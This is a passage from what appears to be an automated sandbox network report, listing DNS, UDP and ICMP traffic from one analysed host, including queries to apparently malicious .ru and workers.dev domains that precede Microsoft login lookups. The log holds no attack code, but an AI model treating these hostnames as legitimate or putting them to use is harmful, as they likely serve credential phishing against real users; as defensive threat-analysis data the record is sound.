Jan 15, 2025 13:07:57.493511915 CET	62566	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:57.494143963 CET	51191	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:57.494298935 CET	59468	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:57.502568007 CET	53	54592	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:57.503107071 CET	53	51191	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:57.503760099 CET	53	59468	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:57.504050970 CET	53	62566	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:58.184165001 CET	61686	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:58.184411049 CET	51095	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:58.209000111 CET	53	51095	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:58.222783089 CET	53	61686	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:58.417144060 CET	50683	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:58.417396069 CET	63646	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:58.424875975 CET	53	50683	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:58.425190926 CET	53	63646	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:58.488332987 CET	62513	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:58.488487005 CET	56867	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:59.887124062 CET	64574	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:59.887254953 CET	58160	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:07:59.910643101 CET	53	64574	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:59.932589054 CET	53	60969	1.1.1.1	192.168.2.4
Jan 15, 2025 13:07:59.936661005 CET	53	58160	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:01.009351015 CET	138	138	192.168.2.4	192.168.2.255
Jan 15, 2025 13:08:02.237119913 CET	63074	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:02.237282038 CET	62078	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:02.245539904 CET	53	62078	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:02.245759010 CET	53	63074	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:02.989440918 CET	65115	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:02.989696026 CET	55041	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:02.997575998 CET	53	55041	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:02.998985052 CET	53	65115	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:04.604955912 CET	53	51061	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:07.556512117 CET	59569	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:07.556967020 CET	60624	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:07.568984985 CET	53	60624	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:07.569149971 CET	53	59569	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:09.799478054 CET	50127	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:09.799741983 CET	63000	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:09.812676907 CET	53	50127	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:09.813445091 CET	53	63000	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:10.915710926 CET	60300	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:10.915873051 CET	58752	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:10.922501087 CET	53	60300	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:10.922921896 CET	53	58752	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:14.813328981 CET	51559	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:14.813510895 CET	59952	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:14.824274063 CET	53	59952	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:14.827347040 CET	53	51559	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:15.991548061 CET	63286	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:15.991873026 CET	63239	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:16.005726099 CET	53	63286	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:16.041917086 CET	53	63239	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:17.150682926 CET	55724	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:17.150846958 CET	56036	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:17.153178930 CET	56583	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:17.153378963 CET	64999	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:17.154433966 CET	55227	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:17.154629946 CET	60119	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:17.157917023 CET	53	55724	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:17.158062935 CET	53	56036	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:17.160370111 CET	53	56583	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:17.161298990 CET	53	64999	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:17.161971092 CET	53	55227	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:17.162343979 CET	53	60119	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:17.955132961 CET	60375	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:17.955662012 CET	63623	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:17.957952023 CET	51083	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:17.958125114 CET	51387	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:17.962090015 CET	53	60375	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:17.962443113 CET	53	63623	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:17.964538097 CET	53	51083	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:17.964823008 CET	53	51387	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:18.892621994 CET	63869	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:18.892769098 CET	58336	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:18.899532080 CET	53	63869	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:18.899602890 CET	53	58336	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:18.957031965 CET	55488	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:18.957743883 CET	49970	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:18.963761091 CET	53	55488	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:18.964454889 CET	53	49970	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:23.595583916 CET	53	53841	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:30.374306917 CET	64936	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:30.374502897 CET	58835	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:30.423854113 CET	53	64936	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:30.469125986 CET	53	58835	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:31.542254925 CET	53341	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:31.542727947 CET	53193	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:31.552937031 CET	58364	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:31.553086996 CET	55786	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:31.568188906 CET	53	58364	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:31.722172022 CET	53	55786	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:32.607459068 CET	59330	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:32.607600927 CET	53441	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:32.622230053 CET	53	53441	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:34.823810101 CET	54952	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:34.823944092 CET	52498	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:34.831387043 CET	53	52498	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:36.113470078 CET	55861	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:36.114326954 CET	60346	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:41.299503088 CET	53	55504	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:46.184686899 CET	53	56364	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:46.184938908 CET	53	62570	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:46.324213982 CET	53	58965	1.1.1.1	192.168.2.4
Jan 15, 2025 13:08:51.952390909 CET	56162	53	192.168.2.4	1.1.1.1
Jan 15, 2025 13:08:51.952594042 CET	58485	53	192.168.2.4	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 15, 2025 13:07:59.936737061 CET	192.168.2.4	1.1.1.1	c274	(Port unreachable)	Destination Unreachable
Jan 15, 2025 13:08:16.042193890 CET	192.168.2.4	1.1.1.1	c27c	(Port unreachable)	Destination Unreachable
Jan 15, 2025 13:08:30.469218016 CET	192.168.2.4	1.1.1.1	c2ac	(Port unreachable)	Destination Unreachable
Jan 15, 2025 13:08:31.722268105 CET	192.168.2.4	1.1.1.1	c2ac	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 13:07:50.646013021 CET	192.168.2.4	1.1.1.1	0x648a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:50.646239996 CET	192.168.2.4	1.1.1.1	0xd8d8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 15, 2025 13:07:52.026038885 CET	192.168.2.4	1.1.1.1	0x379a	Standard query (0)	eventor.orienteering.asn.au	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:52.026180029 CET	192.168.2.4	1.1.1.1	0x3349	Standard query (0)	eventor.orienteering.asn.au	65	IN (0x0001)	false
Jan 15, 2025 13:07:53.798151970 CET	192.168.2.4	1.1.1.1	0x9f1b	Standard query (0)	www.livelox.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:53.798413992 CET	192.168.2.4	1.1.1.1	0xdfa4	Standard query (0)	www.livelox.com	65	IN (0x0001)	false
Jan 15, 2025 13:07:55.115869045 CET	192.168.2.4	1.1.1.1	0x3078	Standard query (0)	archive1.diqx8fescpsb0.amplifyapp.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:55.116003990 CET	192.168.2.4	1.1.1.1	0x9e98	Standard query (0)	archive1.diqx8fescpsb0.amplifyapp.com	65	IN (0x0001)	false
Jan 15, 2025 13:07:57.452996016 CET	192.168.2.4	1.1.1.1	0xcd5a	Standard query (0)	cdn.hellosign.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.453063011 CET	192.168.2.4	1.1.1.1	0x3ee4	Standard query (0)	cdn.hellosign.com	65	IN (0x0001)	false
Jan 15, 2025 13:07:57.453571081 CET	192.168.2.4	1.1.1.1	0x2f25	Standard query (0)	images.ctfassets.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.453771114 CET	192.168.2.4	1.1.1.1	0xb159	Standard query (0)	images.ctfassets.net	65	IN (0x0001)	false
Jan 15, 2025 13:07:57.454091072 CET	192.168.2.4	1.1.1.1	0x8e56	Standard query (0)	cdn-icons-png.flaticon.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.454269886 CET	192.168.2.4	1.1.1.1	0x46c4	Standard query (0)	cdn-icons-png.flaticon.com	65	IN (0x0001)	false
Jan 15, 2025 13:07:57.493387938 CET	192.168.2.4	1.1.1.1	0x6717	Standard query (0)	pub-18adec023eb44c5da5725749a35761dd.r2.dev	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.493511915 CET	192.168.2.4	1.1.1.1	0x1af	Standard query (0)	pub-18adec023eb44c5da5725749a35761dd.r2.dev	65	IN (0x0001)	false
Jan 15, 2025 13:07:57.494143963 CET	192.168.2.4	1.1.1.1	0xab6f	Standard query (0)	pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.494298935 CET	192.168.2.4	1.1.1.1	0x1c35	Standard query (0)	pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev	65	IN (0x0001)	false
Jan 15, 2025 13:07:58.184165001 CET	192.168.2.4	1.1.1.1	0xb3c	Standard query (0)	templates.business-in-a-box.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:58.184411049 CET	192.168.2.4	1.1.1.1	0xf093	Standard query (0)	templates.business-in-a-box.com	65	IN (0x0001)	false
Jan 15, 2025 13:07:58.417144060 CET	192.168.2.4	1.1.1.1	0xf184	Standard query (0)	images.ctfassets.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:58.417396069 CET	192.168.2.4	1.1.1.1	0x8410	Standard query (0)	images.ctfassets.net	65	IN (0x0001)	false
Jan 15, 2025 13:07:58.488332987 CET	192.168.2.4	1.1.1.1	0xd351	Standard query (0)	cdn-icons-png.flaticon.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:58.488487005 CET	192.168.2.4	1.1.1.1	0x422b	Standard query (0)	cdn-icons-png.flaticon.com	65	IN (0x0001)	false
Jan 15, 2025 13:07:59.887124062 CET	192.168.2.4	1.1.1.1	0xa738	Standard query (0)	templates.business-in-a-box.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:59.887254953 CET	192.168.2.4	1.1.1.1	0xe26e	Standard query (0)	templates.business-in-a-box.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:02.237119913 CET	192.168.2.4	1.1.1.1	0x5d0d	Standard query (0)	meta-q.cdn.bubble.io	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:02.237282038 CET	192.168.2.4	1.1.1.1	0x4432	Standard query (0)	meta-q.cdn.bubble.io	65	IN (0x0001)	false
Jan 15, 2025 13:08:02.989440918 CET	192.168.2.4	1.1.1.1	0xa965	Standard query (0)	meta-q.cdn.bubble.io	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:02.989696026 CET	192.168.2.4	1.1.1.1	0x2fdb	Standard query (0)	meta-q.cdn.bubble.io	65	IN (0x0001)	false
Jan 15, 2025 13:08:07.556512117 CET	192.168.2.4	1.1.1.1	0x2f61	Standard query (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:07.556967020 CET	192.168.2.4	1.1.1.1	0x5a28	Standard query (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev	65	IN (0x0001)	false
Jan 15, 2025 13:08:09.799478054 CET	192.168.2.4	1.1.1.1	0xadba	Standard query (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:09.799741983 CET	192.168.2.4	1.1.1.1	0x6234	Standard query (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev	65	IN (0x0001)	false
Jan 15, 2025 13:08:10.915710926 CET	192.168.2.4	1.1.1.1	0x29a	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:10.915873051 CET	192.168.2.4	1.1.1.1	0x9c8f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:14.813328981 CET	192.168.2.4	1.1.1.1	0x33c9	Standard query (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:14.813510895 CET	192.168.2.4	1.1.1.1	0xc88d	Standard query (0)	mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev	65	IN (0x0001)	false
Jan 15, 2025 13:08:15.991548061 CET	192.168.2.4	1.1.1.1	0xabb7	Standard query (0)	zorx.xemitarnor.ru	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:15.991873026 CET	192.168.2.4	1.1.1.1	0xd154	Standard query (0)	zorx.xemitarnor.ru	65	IN (0x0001)	false
Jan 15, 2025 13:08:17.150682926 CET	192.168.2.4	1.1.1.1	0x28fa	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.150846958 CET	192.168.2.4	1.1.1.1	0x313	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:17.153178930 CET	192.168.2.4	1.1.1.1	0xc1b0	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.153378963 CET	192.168.2.4	1.1.1.1	0xdf2f	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:17.154433966 CET	192.168.2.4	1.1.1.1	0xec55	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.154629946 CET	192.168.2.4	1.1.1.1	0x2667	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:17.955132961 CET	192.168.2.4	1.1.1.1	0x52f0	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.955662012 CET	192.168.2.4	1.1.1.1	0x405	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:17.957952023 CET	192.168.2.4	1.1.1.1	0xa37e	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:17.958125114 CET	192.168.2.4	1.1.1.1	0x236f	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:18.892621994 CET	192.168.2.4	1.1.1.1	0x8658	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:18.892769098 CET	192.168.2.4	1.1.1.1	0x5ddd	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:18.957031965 CET	192.168.2.4	1.1.1.1	0xe6a1	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:18.957743883 CET	192.168.2.4	1.1.1.1	0xc80f	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:30.374306917 CET	192.168.2.4	1.1.1.1	0x2fe	Standard query (0)	yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:30.374502897 CET	192.168.2.4	1.1.1.1	0x341b	Standard query (0)	yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru	65	IN (0x0001)	false
Jan 15, 2025 13:08:31.542254925 CET	192.168.2.4	1.1.1.1	0xbccf	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:31.542727947 CET	192.168.2.4	1.1.1.1	0x2b28	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:31.552937031 CET	192.168.2.4	1.1.1.1	0xb10f	Standard query (0)	yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:31.553086996 CET	192.168.2.4	1.1.1.1	0x8d65	Standard query (0)	yu0lcifjnax55jgzy5bwood5zksv6vfrdrtwasouqoe4urasgn9th.expritraw.ru	65	IN (0x0001)	false
Jan 15, 2025 13:08:32.607459068 CET	192.168.2.4	1.1.1.1	0x54cb	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:32.607600927 CET	192.168.2.4	1.1.1.1	0xadc1	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:34.823810101 CET	192.168.2.4	1.1.1.1	0x20ff	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:34.823944092 CET	192.168.2.4	1.1.1.1	0x20f7	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 15, 2025 13:08:36.113470078 CET	192.168.2.4	1.1.1.1	0x4f18	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:36.114326954 CET	192.168.2.4	1.1.1.1	0xd81c	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 15, 2025 13:08:51.952390909 CET	192.168.2.4	1.1.1.1	0xef02	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:51.952594042 CET	192.168.2.4	1.1.1.1	0xf80e	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 13:07:50.653043032 CET	1.1.1.1	192.168.2.4	0xd8d8	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 15, 2025 13:07:50.653130054 CET	1.1.1.1	192.168.2.4	0x648a	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:52.561064005 CET	1.1.1.1	192.168.2.4	0x379a	No error (0)	eventor.orienteering.asn.au		188.95.227.90	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:53.895534992 CET	1.1.1.1	192.168.2.4	0x9f1b	No error (0)	www.livelox.com	livelox-web-v3.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:53.895534992 CET	1.1.1.1	192.168.2.4	0x9f1b	No error (0)	livelox-web-v3.azurewebsites.net	waws-prod-db3-175.sip.azurewebsites.windows.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:53.895534992 CET	1.1.1.1	192.168.2.4	0x9f1b	No error (0)	waws-prod-db3-175.sip.azurewebsites.windows.net	waws-prod-db3-175-0d78.northeurope.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:53.910247087 CET	1.1.1.1	192.168.2.4	0xdfa4	No error (0)	www.livelox.com	livelox-web-v3.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:53.910247087 CET	1.1.1.1	192.168.2.4	0xdfa4	No error (0)	livelox-web-v3.azurewebsites.net	waws-prod-db3-175.sip.azurewebsites.windows.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:53.910247087 CET	1.1.1.1	192.168.2.4	0xdfa4	No error (0)	waws-prod-db3-175.sip.azurewebsites.windows.net	waws-prod-db3-175-0d78.northeurope.cloudapp.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:55.145319939 CET	1.1.1.1	192.168.2.4	0x3078	No error (0)	archive1.diqx8fescpsb0.amplifyapp.com		18.173.205.70	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:55.145319939 CET	1.1.1.1	192.168.2.4	0x3078	No error (0)	archive1.diqx8fescpsb0.amplifyapp.com		18.173.205.71	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:55.145319939 CET	1.1.1.1	192.168.2.4	0x3078	No error (0)	archive1.diqx8fescpsb0.amplifyapp.com		18.173.205.128	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:55.145319939 CET	1.1.1.1	192.168.2.4	0x3078	No error (0)	archive1.diqx8fescpsb0.amplifyapp.com		18.173.205.28	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.460572958 CET	1.1.1.1	192.168.2.4	0x2f25	No error (0)	images.ctfassets.net	d3orhvfyxudxxq.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:57.460572958 CET	1.1.1.1	192.168.2.4	0x2f25	No error (0)	d3orhvfyxudxxq.cloudfront.net		13.33.187.102	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.460572958 CET	1.1.1.1	192.168.2.4	0x2f25	No error (0)	d3orhvfyxudxxq.cloudfront.net		13.33.187.25	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.460572958 CET	1.1.1.1	192.168.2.4	0x2f25	No error (0)	d3orhvfyxudxxq.cloudfront.net		13.33.187.16	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.460572958 CET	1.1.1.1	192.168.2.4	0x2f25	No error (0)	d3orhvfyxudxxq.cloudfront.net		13.33.187.2	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.461178064 CET	1.1.1.1	192.168.2.4	0x46c4	No error (0)	cdn-icons-png.flaticon.com	flaticon.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:57.461504936 CET	1.1.1.1	192.168.2.4	0xb159	No error (0)	images.ctfassets.net	d3orhvfyxudxxq.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:57.462745905 CET	1.1.1.1	192.168.2.4	0x8e56	No error (0)	cdn-icons-png.flaticon.com	flaticon.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:57.472543955 CET	1.1.1.1	192.168.2.4	0x3ee4	No error (0)	cdn.hellosign.com	d3d564pv0p4759.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:57.473958969 CET	1.1.1.1	192.168.2.4	0xcd5a	No error (0)	cdn.hellosign.com	d3d564pv0p4759.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:57.473958969 CET	1.1.1.1	192.168.2.4	0xcd5a	No error (0)	d3d564pv0p4759.cloudfront.net		3.161.82.101	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.473958969 CET	1.1.1.1	192.168.2.4	0xcd5a	No error (0)	d3d564pv0p4759.cloudfront.net		3.161.82.68	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.473958969 CET	1.1.1.1	192.168.2.4	0xcd5a	No error (0)	d3d564pv0p4759.cloudfront.net		3.161.82.6	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.473958969 CET	1.1.1.1	192.168.2.4	0xcd5a	No error (0)	d3d564pv0p4759.cloudfront.net		3.161.82.112	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.502568007 CET	1.1.1.1	192.168.2.4	0x6717	No error (0)	pub-18adec023eb44c5da5725749a35761dd.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.502568007 CET	1.1.1.1	192.168.2.4	0x6717	No error (0)	pub-18adec023eb44c5da5725749a35761dd.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.503107071 CET	1.1.1.1	192.168.2.4	0xab6f	No error (0)	pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:57.503107071 CET	1.1.1.1	192.168.2.4	0xab6f	No error (0)	pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:58.209000111 CET	1.1.1.1	192.168.2.4	0xf093	No error (0)	templates.business-in-a-box.com	d1cgh0icblycb1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:58.222783089 CET	1.1.1.1	192.168.2.4	0xb3c	No error (0)	templates.business-in-a-box.com	d1cgh0icblycb1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:58.222783089 CET	1.1.1.1	192.168.2.4	0xb3c	No error (0)	d1cgh0icblycb1.cloudfront.net		18.245.86.21	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:58.222783089 CET	1.1.1.1	192.168.2.4	0xb3c	No error (0)	d1cgh0icblycb1.cloudfront.net		18.245.86.62	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:58.222783089 CET	1.1.1.1	192.168.2.4	0xb3c	No error (0)	d1cgh0icblycb1.cloudfront.net		18.245.86.89	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:58.222783089 CET	1.1.1.1	192.168.2.4	0xb3c	No error (0)	d1cgh0icblycb1.cloudfront.net		18.245.86.26	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:58.424875975 CET	1.1.1.1	192.168.2.4	0xf184	No error (0)	images.ctfassets.net	d3orhvfyxudxxq.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 13:07:58.424875975 CET	1.1.1.1	192.168.2.4	0xf184	No error (0)	d3orhvfyxudxxq.cloudfront.net		13.33.187.16	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:07:58.424875975 CET	1.1.1.1	192.168.2.4	0xf184	No error (0)	d3orhvfyxudxxq.cloudfront.net		13.33.187.25	A (IP address)	IN (0x0001)	false
